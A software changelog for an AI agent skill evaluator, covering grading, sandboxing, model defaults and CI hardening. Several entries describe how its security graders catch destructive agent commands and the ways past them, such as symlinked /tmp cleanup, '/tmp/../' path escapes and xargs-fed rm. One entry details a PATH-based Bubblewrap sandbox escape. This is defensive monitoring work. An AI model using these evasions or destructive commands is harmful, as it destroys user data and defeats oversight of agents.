/tmpcleanup, including child operands with trailing slashes, unless the current or an earlier execution action contains recognized symlink-creation syntax (ln -s,cp -s,os.symlink,Path.symlink_to, literal Python subprocess argv launchingln/cp, orfs.symlink/fs.symlinkSync). With that evidence, both graders withhold nested-cleanup exemptions and report critical destructive-command findings with a security score of 0.0; unlinking a final leaf remains exempt. This conservative signal applies across the trace, including after link moves or replacements, without inspecting the filesystem or proving a link's destination or creation success. Unobserved or pre-existing symlinks are not detected by this policy. Lexical path escapes and unresolved orxargs-supplied deletion targets remain flagged. Searches, script arguments, and unexecuted heredoc data do not supply link evidence; Python and Node call syntax is inspected only in executable inline source or a recognized program supplied directly through standard input. Comments containing apostrophes do not hide actual link calls. Later and multiple heredocs,catpipelines into interpreters, and common shell startup options retain link detection. Plain;,&&,||, and newline sequences apply evidence in command order, so later link creation does not regrade earlier cleanup in the same call. Loops, functions, traps, background jobs and other compound syntax keep conservative whole-action evidence; unrelated link creation can still affect later nested cleanup and remains a policy tradeoff.Tier 3 security grading no longer grants temporary-cleanup exemptions to destructive
rmcommands launched throughxargs, whose additional targets may come from standard input or an argument file. Both graders recognize common options and wrappers while preserving separate cleanup commands. Input contents are not evaluated, so this conservative policy also flags legitimate scoped cleanup such asfind /tmp/cache -name '*.pyc' | xargs rm -fas a critical destructive-command finding with a security score of 0.0.Tier 3 security grading now normalizes deletion targets before exempting temporary-directory cleanup. Paths such as
/tmp/../workspaceand commands mixing temporary and non-temporary targets receive destructive-command findings in both the host checker and bundled Harbor verifier. Destructivermfragments with no parsed target are also flagged, preserving detection of deletions assembled from strings. Temporary cleanup inside backtick command substitutions, or followed by shell comments and file-descriptor redirections, no longer produces false destructive-command findings. Targets after heredoc and here-string redirections are still checked; the input word of a redirection is not treated as a deletion target. Case-arm/subshell terminators and unrelated comments, ANSI-C literals, or heredoc data no longer remove the cleanup exemption. Command substitutions used as redirection words do not hide later deletion targets. Unquoted/tmpdeletion targets containing variables, command substitutions, or brace expansions (for example standalonerm -rf /tmp/build-$$) no longer get the cleanup exemption because their destinations remain unresolved. Operandlessxargs rminvocations remain detectable when unrelated syntax or parser budgets prevent a complete parse; the fallback uses a bounded command span to avoid excessive backtracking on long actions.Tier 3 error recovery now scores unrecovered command failures as zero and includes them in fault counts and failure verdicts/report reasons. Host and bundled verifier detection agree and use a result's execution status when it has one: a Codex exit code, a whole
exit code Nline, or Harbor marking a Claude Code result as successful. Only results without a status, such as OpenCode's, are judged by their text: tracebacks,error:lines, pytest, jest, go test, tsc and npm failures and OpenCode's timeout note count, while0 errors, exception handlers, numeric timeout settings and type annotations do not. Exit-1 probes with no other output (grep,rg,test,diff,cmp,command -v,which,git diff --quiet, includinggrep -czero counts,/dev/nullredirects, a leadingcdorpwdand pipelines) remain clean. Recovery matches whole command words after a leadingcd; beyond the original five-call retry window, only a successful repeat of the same command and arguments counts.Catalog validation now includes nested and lowercase skill manifests, skips generated directories, and stops at skill boundaries to avoid validating bundled templates as separate skills. External linked directories containing skills and unreadable directories appear as failures without stopping other skills; links back into the catalog are ignored. Linked manifests retain direct-target behavior, plugin discovery errors produce findings, and reports and external Tier 3 results preserve catalog-relative paths for skills with the same basename.
Tier 3 runs now write a Tier 3-scoped
tier3-benchmark.mdalongside HTML, named so publication tooling does not treat it as aBENCHMARK.mdcard. It states that Tiers 1 and 2 are not covered by the report, separates the Tier 3 result from an unassessed publication decision, and displays a completed agent's score and comparable lift when another agent fails. Failure warnings and the full publication checks remain unchanged.Changing finding severities through a policy no longer clears an independent quality-score threshold failure. A score below
--min-scorestill fails, and its reason appears in the terminal, HTML, benchmark, and JSON reports.Tier 3 on Windows passes
PROGRAMFILES,PROGRAMW6432andPROGRAMDATAto Harbor, so Docker Desktop finds itscomposeplugin, and passesPYTHONUTF8andPYTHONIOENCODINGso Python UTF-8 mode reaches Harbor on non-UTF-8 locales.On native Windows, generated Tier 3
test.shfiles and the grader starters frominit-custom-graderandinit-harbor-taskare now written with LF line endings. They were written with CRLF, which broke the#!/bin/bashshebang andset -euo pipefailin the Linux container, so the verifier failed before grading. The repository's.gitattributesalso keeps*.shfiles LF in Windows checkouts.A
SKILL.mdmetadatavalue that is not a mapping, such astrue,1.5, a date, or a list or string containingauthorortags, no longer crashes the quality check with aTypeError, which abortedvalidate,tier1, andquality-checkbefore any report was written. The schema check reports the malformedmetadata, and the quality score countsmetadata.authorandmetadata.tagsas missing, as it already did for other non-mapping values.A
SKILL.mdover the recommended 5,000-token budget now gets a MEDIUMquality_efficiencyfinding instead of a HIGH one. The HIGH finding failed the quality check, and with itvalidate,tier1, andquality-check, even when the quality score met--min-score. The 15-point Efficiency deduction is unchanged, so a large skill still fails when its score falls below the minimum.--llmsecurity scans on thenv_buildprovider now run SkillSpector withSKILLSPECTOR_PROVIDER=nv_buildinstead ofopenai, so SkillSpector sizes requests from its NVIDIA Build model registry. A Build model with a smaller output cap, such asopenai/gpt-oss-120b(16,384 tokens), no longer gets SkillSpector's 32,000-token fallback budget, which can exceed what the endpoint accepts and leave the LLM security stage incomplete. An explicitSKILLSPECTOR_PROVIDER=nv_buildgets the same mapping. The key still reaches SkillSpector only asOPENAI_API_KEY, withOPENAI_BASE_URLset to the public Build endpoint.
Security
- Refresh locked AnyIO, certifi, and PyJWT dependencies used by source and CI installations, and update Streamlit and Pillow for the optional dashboard. Published package dependency ranges are unchanged.
- Plugin inventories and findings now redact credentials embedded in declared component paths, including invalid or unsafe references, before recording their names, locations and metadata.
- Linux local mode now launches Bubblewrap by the absolute path that passed its
smoke test instead of a bare
bwrap. The bare name was looked up on the hostPATHfor every command, from that command's working directory (the writable trial workspace by default), so a relativePATHentry such as., an empty entry, or./node_modules/.binlet abwrapfile created by an earlier sandboxed command run outside the sandbox. Abwrapsymlink onPATHis resolved to its target before the smoke test, and the local-mode isolation message names that resolved path.
Development
- The staged Harbor verifier reuses the shared log-secret redactor, guarded by the Python 3.9 verifier smoke check.
- Python 3.13 and 3.14 CI test jobs run in parallel with
pytest -n auto; the Python 3.12 coverage job remains serial. - Streamed-execution cleanup tests wait for descendant processes to exit before asserting termination, avoiding a race on macOS.
0.6.0 - 2026-10-20
Added
- Optional
skillevaluator dashboardtables for comparing saved Tier 3 reports and retained runs across skills, models, harnesses, recorded harness features, and skill conditions. Paired with/without differences cover score, pass@k, tokens, and agent execution time, plus USD cost when retained runs record it; the performance table also shows per-trial means alongside totals. Comparisons require matching complete trial coverage (repeated attempts pair by case, as in the HTML report) and name the reason when a pair is not comparable. Inputs are read once and reused between interactions (Reload reports re-reads them); browser uploads are limited to 16 MB. Install it with thedashboardextra. - Tier 3 support for Harbor GKE execution mode (
--env-mode gke) and--ekargument forwarding. API keys, bearer tokens, and passwords passed in--ekkeys or values are rejected to keep credentials out of process listings, while configuration such as rate limits and token counts is preserved. Cluster infrastructure settings in skill configs are rejected to enforce security boundaries in favor of host environment variables and CLI flags. - Claude Code live agent routing for Google Cloud Vertex AI
(
CLAUDE_CODE_USE_VERTEX=1,ANTHROPIC_VERTEX_PROJECT_ID,CLOUD_ML_REGION), with redirect-blocking preflight probes, case-insensitive model alias resolution, and explicit trusted-skill opt-in (SKILLEVALUATOR_GKE_ALLOW_WORKLOAD_IDENTITY=1or--ek allow_workload_identity=true) when using single-pod GKE Workload Identity. - Fail-closed validation for skill-authored MCP server configurations
(
evals/environment/mcp_servers.tomlandmcp_servers.json) that blocks operator/provider credential references and literal secrets, while allowing operator-approved MCP endpoints and non-LLM secrets viaSKILLEVALUATOR_ALLOWED_MCP_HOSTSandSKILLEVALUATOR_ALLOWED_MCP_SECRETS. - The HTML report's Tier 1 card now shows the SkillSpector version that ran
the security scan (for example
SkillSpector v2.12.0), and the embedded report JSON records it asskillspector_versions. Findings depend on the scanner release, so reviewers can tell which SkillSpector produced them without rerunning the scan. The version is shown even when the report omits its timestamp. --env-mode kataruns Tier 3 trials through the hardened Docker backend with every task service in a Kata Containers microVM. It requires a Linux host with/dev/kvmand a Kata runtime registered with Docker, and accepts only thekata_runtimeandkata_dnsenvironment kwargs. Image builds still run on the host, and tasks with Compose sidecars are rejected.--env-mode runtaand--env-mode mosaicrun Tier 3 trials on Harbor's Runta and Mosaic backends. Runta'smodeand Mosaic'svolume,persist,enable_ssh,build_args, andbuild_targetkwargs are reserved because they bypass the task image or let state and access outlive one isolated trial.
Changed
- SkillSpector now has its own default model per provider instead of
following the chat default, so chat-default upgrades no longer reach
SkillSpector before it supports them. An explicit
SKILL_EVAL_LLM_MODELstill reaches it, andSKILLSPECTOR_MODELstill overrides both. The bridge forwards yourSKILLSPECTOR_MODEL_<SLOT>,SKILLSPECTOR_MODEL_REGISTRYandSKILLSPECTOR_REASONING_EFFORTsettings (neverSKILLSPECTOR_TEMPERATURE), defaults the reasoning effort tomediumfor GPT-6 models, and records the requestedskillspector_modelandskillspector_reasoning_effortnext toskillspector_versionin the security result. - Install instructions and the missing-scanner hint now pin SkillSpector to
v2.12.0instead of its default branch. - GPT-6 models get the GPT-5 request shape everywhere SkillEvaluator calls a
model: no
temperature, andmax_completion_tokenson the native OpenAI endpoint. Gateway catalog IDs such asaws/anthropic/bedrock-claude-opus-5are recognized as the Claude model they name. - Output-token limits are sized per model family. OpenAI reasoning models get
at least 32,768 tokens; other models get 16,384 for
--llm-verify, rubric evaluation, deduplication verdicts and judges, 8,192 for report suggestions and 16,000 for dataset generation. On the Anthropic API, Claude Opus 4 and 4.1 stay at the 8,192 tokens the Anthropic SDK allows without streaming. - Reasoning effort is sent only to GPT-6 models and to Claude 5.5 or later on
the Anthropic API:
highfor--llm-verify,mediumfor rubric evaluation, deduplication verdicts and judges. - Rubric evaluation and deduplication verdicts request structured output. The
verifier and deduplication prompts ask for
rationaleinstead ofreasoning; replies that still sayreasoningare accepted. - The
goal_accuracyRAGAS scorer is skipped for GPT-5 and GPT-6 judges, which reject its sampling settings. run_config.jsonrecords the judge reasoning effort, and each standard judge's details recordjudge_model_used,judge_reasoning_effortandjudge_fallback_used. Skill lift leaves out a case whose two conditions were judged by different models and counts it injudge_mixed_cases.- Removed the unused
CONTENT_DEDUP_LLM_*constants andLLM_VERIFY_MODEL; an LLM client built from explicit credentials uses the provider default model. - Tier 3 pins the agent CLIs Harbor installs: Codex 0.161.0 and Claude Code
2.1.292, instead of the latest release. Claude Code runs Claude 5.5 and later
models with
reasoning_effort=medium; Codex keepshigh. Local mode keeps your installed CLIs and fails a trial early when they are too old for the model: Claude 5.5 needs Claude Code 2.1.280 or newer, and GPT-6 needs Codex 0.159.1 or newer. - OpenAI-compatible gateway agent defaults: Codex moves to
openai/openai/gpt-6.1-soland Claude Code toaws/anthropic/bedrock-claude-opus-5-5. OpenCode stays onnvidia/nvidia/nemotron-3-super-120b-long-ctx, no longer tied to the gateway chat default. Claude Code on the shared gateway key runs withCLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1, so gateways that forward to another provider do not reject its pre-release request fields. - The OpenAI default model moves from
gpt-5.6-soltogpt-6.1-solfor chat, judging, Codex and SkillSpector, which runs it atmediumreasoning effort, so the effort values above apply to the OpenAI defaults. OpenCode keepsopenai/gpt-5.6-solunlessSKILL_EVAL_LLM_MODELis set, because GPT-6.1 Sol supports tool calls only on the Responses API. - The Anthropic and Bedrock default models move from Claude Opus 5 to Claude
Opus 5.5 (
claude-opus-5-5andus.anthropic.claude-opus-5-5) for chat, judging and Claude Code. On the Claude API they get the effort values above and server-side refusal fallback, and Claude Code runs them atreasoning_effort=medium. SkillSpector stays onclaude-opus-5andus.anthropic.claude-opus-5, which SkillSpector v2.12.0 supports. - Docker Claude Code and Codex containers no longer get the distribution
nodejsandnpmpackages from agent setup, except on Alpine images. On Debian-based images, including the default eval image, those packages also providednpx,gcc,g++, andmake. Claude Code containers now have no Node.js unless the image provides it, and Codex's own Node.js is onPATHonly for the Codex process. Skills whose scripts, tasks, or stdio MCP servers need these tools must install them throughscripts/apt-packages.txtor a customevals/environment/Dockerfile. - Exposed
kata,runta, andmosaicas the 24th, 25th, and 26th Harbor 0.24 backends alongside local mode.cua-cloud,opensandbox,hf-sandbox,podman,prime, andsmolremain disabled. - The public benchmark gate (
scripts/ci/check_public_benchmarks.py) now requires aPASScard to record itsSource digestandTier 3 run ID.PASScards rendered by earlier releases fail the scan until they are regenerated; earlierFAIL,NEUTRAL, andINCOMPLETEcards without those lines are still accepted, and the lines are validated whenever present. - Report output must be outside the publication target. An explicit
--output-dirinside the evaluated skill is now rejected; use an external directory. A default in-targetreports/location relocates to an authenticated sibling<skill>-reports(or<catalog>-reports), refuses unowned collisions, and is excluded from Tier 3 runtime staging. Report roots inside the target repository or an included-skill root are excluded from linked or full-repository context only after they are reserved or authenticated as generated output, so an authored subtree is never silently omitted. - A custom Tier 3
--results-dirinside the evaluated skill is now rejected; use the canonicalevals/resultspath or an external results root. validate --block-on-agent-evalnow passes the exit gate only for a completed Tier 3PASSverdict with complete attempt coverage.NEUTRALandFAILverdicts exit 1; previously any completed, scored run passed.
Fixed
- Tier 3 reports an inconclusive result when every observed positive with-skill trial has zero activation, and omits skill-lift comparisons for that agent. Activation counts are reported separately; negative controls and missing evidence do not imply that the skill was never loaded. The skill-execution score is zero when positive activation fails, so unrelated successful checks cannot inflate it to 0.5 (fixes #208). Benchmark cards and dashboard comparisons preserve this eligibility rule, and multi-agent HTML labels explain why lift is unavailable. Mixed-agent reports retain advice from the best eligible agent without attributing never-activated trials to skill quality.
- Tier 3 now uses one versioned, equal-weight five-dimension overall-score
policy across Harbor rewards, pass@k, Skill Lift, reports, comparisons, and
best-agent selection. Previously, some paths averaged all six evaluators
directly while reports averaged five dimensions, which gave Effectiveness
two votes and could reverse the reported lift direction. Current artifacts
persist
skill-evaluator-dimension-mean-v1; legacy and partial artifacts retain their historical semantics. Conditions keep their own recorded metric sets; overall lift and best-agent rankings are omitted across different standard metric sets while individual scores are preserved, andtier3 comparerefuses standard agents with different policies or metric sets. Custom-only agents keep their grader's own overall and are ranked and compared against standard agents (Relates to #61). - Preserve explicit Claude and OpenCode read failure metadata in reconstructed
ATIF trajectories. Failed isolated SKILL.md reads and failed native Skill
calls lose credit; compound shell failures and shell reads whose path may
expand to several files (braces, globs,
$or backticks) remain ambiguous and retain prior credit in host and verifier grading. Unattributed errors do not cancel successful reads, and shell reads count dash-prefixed filenames after--. - Tier 1 pyproject dependency audits now inspect static target declarations rather than the evaluator environment. Exact direct pins (including optional groups) are queried without installation or build-script execution; unresolved declarations and invalid scanner evidence are incomplete.
- Tier 1 PII scanning now includes
.mdcrules and workflows. - Tier 3 negative-case accuracy excludes inapplicable skill identification and records its scoring policy. Reports separately expose measured token and agent execution-time differences with complete matching-arm coverage, while efficiency continues to measure routing and productive tool use.
- Derive accuracy scores from complete criterion verdicts in both judge runtimes (passing applicable criteria divided by applicable criteria), so an inconsistent model-supplied total cannot distort Skill Lift. Correct the Harbor prompt example to score five passing criteria as 1.0.
- Include schema-valid ATIF message content parts in final answers, conversation summaries, and judge evidence references in the host and Harbor verifier. Image and audio parts use markers without exposing their source paths.
- Preserve scored Harbor trials when agent answers mention authentication errors and per-step token usage is present but aggregate ATIF token metrics are absent or zero. Explicit runtime exceptions and error events still invalidate trials.
- Safety-classifier refusals, content filters and output-token truncation are
detected instead of being read as empty or malformed output.
--llm-verifyand rubric evaluation report the cause, and--llm-verifykeeps the complete verdicts of a truncated reply. Claude 5.5 or later requests to the native Claude API use server-side fallback to Claude Opus 4.8. In the Harbor verifier, Bedrock retries a filtered Claude 5.5 reply on Claude Opus 4.8, and a refusal or empty judge reply moves on to the nextLLM_JUDGE_FALLBACK_MODELSentry. - The Harbor verifier's last-resort judge model follows the selected provider.
With no judge or chat model configured, it used to request an OpenAI model
from Anthropic, Bedrock, NVIDIA Build and gateways. The unused host-side
llm_judge.DEFAULT_JUDGE_MODELconstant is removed. - Fixed Docker Codex and Claude Code setup wasting its timeout installing distribution Node/npm before Harbor's own installers. Native, gateway Codex, and NVIDIA Build agents now provision Node/npm only on the installer branches that need them, while preserving installed-agent and version-pin checks.
- Preserved multiline skill descriptions when saving and loading Tier 2 embedding catalogs. Descriptions can contain line breaks and tabs, while catalog identifiers and other control characters remain strictly validated.
- Brought the published documentation in line with 0.5.0. It now covers how
standard grading builds judge evidence and rebuilds trajectories from
OpenCode and Codex logs, structured judge output and retries, the evidence
budget and judge time-budget variables, and the Harbor process environment.
The CLI reference adds
validate --workers, the full--env-modelist, and the exit codes the CLI actually returns (0,1,2). BENCHMARK.mdpublication verdicts now require completed Tier 1 and Tier 2 execution evidence by default (Tier 1 must cover every default check that applies to the content type, so a run narrowed with--checkscannot certify publication), conservatively resolve conflicting peer policy and Tier 3 result metadata, bind every tier and policy claim to one versioned source-tree digest, preserve the Tier 3 run ID, persist an explicit publication status in JSON and HTML, and reject publicationPASScards whose decision evidence is missing, incomplete, linked, or hidden in raw HTML. Tier 3 evidence now cross-checks complete per-condition attempt and error records, and the public-card gate rejects ambiguous structural headings, browser-rendered decision-text aliases, and literal or entity-encoded Unicode control/format characters. The source identity is read without following links before and after each producer, follows the host filesystem's case aliases, and records a bounded source-change marker. Tier 3 runs that stage repository context, external reference or workspace skills, or task inputs with.git,.venv,__pycache__, ornode_modulesentries remain runnable but cannot certify publication, and neither can a target whose authored paths below the root use names that Tier 1 skips (such asreferences/results/).- Clean and not-applicable License, Code Risk, Secrets, and Dependency Audit runs now record structured execution evidence, so legitimate built-in Tier 1 results can satisfy publication without relying on findings or errors.
- Skip reasons are bounded, control-free, and escaped in reports and in the terminal, so oversized metadata, Rich markup, or terminal escape sequences cannot corrupt them. Reports show one line; the pipeline view keeps the reason's line breaks.
- SkillSpector issue paths with NUL bytes or lone surrogates now make the security scan incomplete instead of being accepted.
- The public benchmark gate rejects
PASScards with placeholder identities, malformed or future evaluation dates, a missing Tier 3 run ID, hostile benchmark-policy metadata, or environment-label substitutions in required proof fields. - Hardened Tier 3 HTML and Markdown reporting against recursive or malformed display metadata, Markdown structure injection, and inline-JavaScript injection through untrusted agent or skill names.
Security
- The docs-publishing workflow, the only one that passes a secret to a step,
now pins
actions/checkoutto a commit SHA, declarespermissions: contents: read, and setspersist-credentials: false.dco.ymlno longer persists checkout credentials either. - Docs are now published with the same Fern CLI version they are validated
with. Both workflows install the CLI from
fern/package.jsonand its committed lockfile; a test checks that the pin matchesfern/fern.config.json. - Workflow hardening guards now glob
.github/workflows/instead of a hardcoded two-file list, so every workflow — including any added later — must pin each action to a commit, avoid persisting checkout credentials, and declare apermissions:block. The guards also cover job-levelpermissions:overrides and job-level reusable-workflowuses:references, neither of which the step-level checks reached. - The Fern CLI is now installed from a committed lockfile,
fern/package-lock.json, withnpm ci --prefix fern --ignore-scripts --omit=optional, and both workflows invoke./fern/node_modules/.bin/fernrather than a binary onPATH. Previouslypublish-docs.ymlrannpm install, which re-resolves every transitive dependency from semver ranges on each run: pinningfern-api's own version pinned nothing beneath it.@scarf/scarf— reached throughfern-api's optional dependency on@boundaryml/baml— declares apostinstallscript. The install step did not receiveFERN_TOKEN, but its resulting CLI was later run in the token-bearing publish step. The lockfile pins every package to an exact version and integrity hash,--ignore-scriptsstops lifecycle code running, and--omit=optional(which npm honours for this local install, but silently ignores for a--globalone) leavesfern-apialone in the tree. Guards now permit only the reviewed lockfile install command in workflows, check the Fern manifest and lockfile dependency inputs, and requirefern/package.json,fern/package-lock.json, andfern/fern.config.jsonto name the same CLI version. Fern dependency and config changes run the full CI lane, including dependency review, whilefern checkruns in both lanes. The developer-facing install instructions (docs/README.md,docs/AGENTS.md,docs/developer-guide.mdx) use the same lockfile install, so a contributor or agent following them gets the tree CI runs. - The action-pinning guard now accepts a same-repo composite action or
reusable workflow (
uses: ./...) without requiring a commit SHA, since GitHub always resolves a local reference from the caller's own commit and nothing about it can float. A local reference that escapes the repository (e.g../../outside) or carries an@ref(a syntax local references don't have) is still rejected, and adocker://reference is unaffected by the exemption.
0.5.0 - 2026-10-06
Added
- Transparent HTTP 429 (rate-limiting), transient 5xx, and timeout recovery for
LLM judges in both the Harbor container verifier (
eval.py) and host runtime (LLMClient). Features zero-dependency full jitter exponential backoff, RFC-7231Retry-Afterheader parsing, finite-value environment overrides (SKILL_EVAL_LLM_MAX_RETRIES,SKILL_EVAL_LLM_RETRY_BASE_DELAY, andSKILL_EVAL_LLM_RETRY_MAX_DELAY), and automatic container forwarding via Harbortask.toml, and a per-judge verifier time budget that leaves room for failure artifacts, without altering benchmark metrics or scoring formulas. - Provider-aware structured JSON schema enforcement (
response_formatfor OpenAI-compatible / Gemini Vertex / NVIDIA NIM endpoints andoutput_configfor Anthropic/v1/messages) across the customjudge_accuracy,judge_goal_accuracy, andjudge_behavior_checkpaths, with automatic schema-specificHTTP 400/422downgrade and per-target memoization (_SCHEMA_UNSUPPORTED_TARGETS), boolean prompt alignment, and a guard for missingmessagefields on reasoning token exhaustion. The canonical OpenAI RAGAS goal scorer retains its separate scoring path. - Configurable evidence bundle budgets (
SKILL_EVAL_ACCURACY_BUDGET,SKILL_EVAL_GOAL_ACCURACY_BUDGET,SKILL_EVAL_BEHAVIOR_CHECK_BUDGET) and final response limit (SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT). - Tier 3 log converters now rebuild ATIF trajectories from OpenCode JSON streams
(
opencode.txt) and structured Codex tee logs (codex.txt) whentrajectory.jsonis missing or empty.
Changed
- Upgraded the optional Tier 3 backend to Harbor 0.24.0 and its compatible
LiteLLM 1.92-1.93 window. Existing SkillEvaluator agent and environment
options now use Harbor's unified selectors; installed Codex adapters preserve
merged user and MCP configuration; Docker and local execution stream redacted
callbacks under a shared 16 MiB per-command output limit, while the parent
Harbor orchestration process has a separate 16 MiB combined stdout/stderr
limit; and Docker supports stdin plus isolated sidecar operations without
exposing environment values on Compose argv. Generated schema 1.3 and
unmodified native task schemas remain compatible, while collection accepts
Harbor 0.24 job, trial, reward, and ATIF v1.8 artifacts. Multimodal tool
output reaches judges and reports as text with
[image]/[audio]markers. Native tasks' own test scripts must write numericreward.jsonvalues, which Harbor 0.24 enforces; a failed job now names the trial or step exception that Harbor recorded. - Exposed 23 Harbor 0.24 backends alongside local mode.
cua-cloud,opensandbox,hf-sandbox,podman,kata,runta,prime,mosaic, andsmolremain disabled until generated tasks can be projected through a trusted image or backend-native provisioning path. Non-secret backend constructor options can be supplied with repeatable, operator-only--environment-kwarg/--ekflags; skill-owned configuration, credentials, and sandbox-policy overrides remain outside that surface. Harbor'sstreamandenable_environment_dir_uploadoptions are reserved, and Modal'smodal_sandbox_v2option no longer exists. --env-mode wandbnow runs Harbor'scwsandboxbackend with W&B authentication, because Harbor 0.24 merged the two. Installharbor[cwsandbox]==0.24.0instead of the removedharbor[wandb]extra.- Harbor now always starts in an empty, evaluator-owned working directory with
.envloading and Harbor telemetry disabled. A.env.localor.envfile near the operator's project can no longer add credentials or settings that SkillEvaluator's allowlisted environment removed. Thetier3extra requires python-dotenv 1.2.0. - Codex runs with
reasoning_effort=high, the default under Harbor 0.22, so scores and cost stay comparable after Harbor stopped pinning it. - Native tasks follow Harbor 0.24's separate-verifier precedence. A dedicated
verifier image or build definition must ship its own test script and never
receives SkillEvaluator's grader. Otherwise the verifier is built from
environment/, whose Compose model must stay within the verifier's environment allowlist.docker-compose.ymlverifier definitions, which Harbor ignores, are rejected.
Fixed
- Report non-string YAML keys as validation errors in skills, rules, workflows,
and plugin manifests instead of raising a
TypeError, including frontmattermetadatakeys. Show boolean, null, and date keys in a readable YAML form. - Harbor
result.jsoncase ids now prefer canonicaltask_id.pathmetadata over repository-prefixedtask_namevalues when resolving eval entries. - Codex log synthesis maps
web_searchaction payloads andcollab_tool_callthread items into ATIF, and error-recovery checks recognizestatus=failed/exit_code=terminal evidence emitted by Codex converters. - Tier 3 Harbor dual-arm evaluation propagates arm suffixes (
-with-skill,-without-skill) to[task] namein staged nativetask.tomlfiles, normalizes external repository and namespace prefixes, and commutatively resolves canonical case IDs across attempt and arm suffix combinations while preserving expected case IDs. - Tier 3 native-task collection now keeps Harbor's staged directory selector,
logical dataset ID, and display name separate; ambiguous or unresolved
persisted identities fail closed instead of trusting grader-authored IDs.
Runner-owned attempt ordinals are carried structurally, so
attempt-like text in authored selectors, logical IDs, or display names cannot corrupt pass@k orstop_on_passaccounting, including truncated aggregate names. - Tier 3 Harbor subprocess, Docker, and local diagnostics now redact raw and percent-decoded URI/proxy userinfo components across streamed callbacks, nonzero exits, timeouts, output limits, and persisted launch errors.
- Tier 3 local OpenCode runs routed through NVIDIA Build now retain the rendered user instruction for ATIF conversion and fail on OpenCode error events, in parity with Harbor's upstream agent lifecycle. Remote MCP servers in that configuration disable OAuth, as Harbor's own OpenCode configuration does.
- Tier 3 reports now use the collector's logical attempt overall whenever a condition mixes standard and custom rewards, including across separate trials, and aggregate execution summaries preserve child-declared hidden error counts and truncation through launch-error overlays.
- Tier 3 now rejects non-finite, overflowing, and finite-but-unscalable timeout multipliers at YAML, programmatic, and Harbor command boundaries.
- Tier 3 now preserves paired baseline isolation by rejecting skill-owned
pre-agent setup, native task/step healthchecks, native step workdir overlays,
and Harbor task-shipped prior trajectories whenever the baseline arm is
enabled. Native standard grading also fails closed on step test overlays,
separate verifier contexts, post-agent collect hooks, and task-controlled
verifier executable-path, shell, loader, proxy/TLS, provider, and judge
environment controls; exact operator-staged provider/judge placeholders and
unrelated verifier variables remain compatible. Operator-configured judge
fallback models are forwarded only to standard verifier jobs, not agent or
custom_onlyenvironments. Its Python payload now runs from a replaced evaluator-owned directory in isolated mode.custom_onlyretains Harbor-native collect hooks and Harbor's shared/separate step-test resolution, and fully authored native test paths are left untouched instead of replacing their unusedtests/skill_evaluator/package. All native grading modes reject Windows agent or effective verifier environments until evaluator projection and verifier scripts are OS-aware. - Tier 3 collection now fails closed on unsafe reward identities and malformed custom-metric contracts, publishes exact truncation metadata for bounded case and failure-detail samples, and keeps findings, attribution, and per-trial JSON inside the report loader's artifact envelope.
- Tier 3 progress output, diagnostics, and result summaries no longer redact
counts such as
0/1 scoredor1 erroredwhen a credential-named environment variable holds a short flag value such as1. Short credential fragments in proxy URLs are still redacted. create-eval-dataset --refineno longer requires thetier3extra to read case IDs from Harbor result files, and no longer fails on multimodal trajectory messages.
0.4.0 - 2026-09-30
Fixed
Render untrusted skill content, paths, tool messages, and LLM output literally in CLI reports and logs. Escape Rich markup and strip terminal control sequences to prevent rendering failures and misleading output, including catalog summaries and the compact validation view. Preserve Windows paths and literal emoji codes (#173, #175).
Make sensitive-assignment, JWT, and private-key redaction linear-time, preventing long adversarial text from stalling logs and reports. Apply the JWT fix to Tier 3 command output and the bundled Harbor verifier (#172, #176).
--no-llmfull datasets include a negative bucket only when eval guidance supplies an off-skill prompt; template mode no longer guesses canned negatives from a fixed question list. CLI and docs now describe--fullas up to four cases instead of always four.Treat
apply_patchfile headers (*** Add File:,*** Update File:,*** Delete File:,*** Move to:) as write targets in the Tier 3 security check. A patch that targets a shell profile, SSH, credential, or privileged config path, sent as anapply_patchtool call or a shell heredoc, is now a criticalsensitive_file_writefinding whose evidence names the protected path, not the patch. Every header in the patch is checked.Mask GitHub tokens (
ghp_,gho_,ghu_,ghs_,ghr_, andgithub_pat_) in Tier 3 evidence excerpts and Harbor verifier log output.Stop the PII scan reporting User-Agent product versions such as
Chrome/140.0.0.0as public IP addresses. Chromium's reduced User-Agent gives every version this shape.Separate Tier 2 collection limits from the 256-file per-skill limit. Fresh similarity scans now allow 1,024 selected manifests and 128 million scalar comparisons by default, covering 343 skills with 2,048-dimensional embeddings. Add
--max-entriesand--max-scalar-comparisonsfor explicit scan budgets; exceeded limits fail with actionable errors and never truncate the collection. Fresh pairwise scans reject excessive scalar work after the first validated embedding response, before requesting more embeddings or saving a catalog. Collection discovery has its own 20,000-path ceiling, allowing the supported 5,000-entry maximum for minimal collections while retaining the 4,096-path per-skill ceiling. Invalid Python command API budgets raise option-specific errors before provider initialization. Similarity comparisons validate and normalize each vector once instead of once per pair, making large pairwise scans more than an order of magnitude faster. Equal nonzero embeddings score exactly 1.0, so--threshold 1reports exact duplicates.Keep headings and comments inside fenced code examples in their enclosing Markdown section during Tier 2 content chunking, preserving original source line numbers.
Run the public Docker image as an unprivileged user, with writable default report and home directories. Document UID/GID overrides for host-owned output mounts.
Pin the HTML report Chart.js dependency and verify its integrity before browser execution.
Preserve full Codex gateway model IDs in cloud environments, including E2B and Daytona, while retaining local runtime setup and native provider routing.
Keep Tier 2 execution diagnostics visible alongside duplicate findings in CLI, HTML, and Markdown reports, without repeating the findings as errors.
Use
nvidia/nemotron-3-super-120b-a12bas the shared NVIDIA Build default for evaluator chat, agent execution, and judging, preserving explicit model overrides. Request nonstreaming chat responses explicitly to match the response parser.Tier 2 LLM failures now identify the selected provider and model, HTTP status, safe error metadata, and failed-cluster count without exposing response bodies.
Replace the retired NVIDIA embedding default with
nvidia/nemotron-3-embed-1band send the required passage input type for NVIDIA document comparisons. Existing catalogs and caches must be rebuilt when switching embedding models.Report Tier 2 embedding and LLM service failures as incomplete checks, retaining a nonzero exit without inventing duplicate-content findings. Provider error messages include recovery guidance without echoing raw response bodies.
Tier 3 script execution credit now requires evidence that the expected script was invoked.
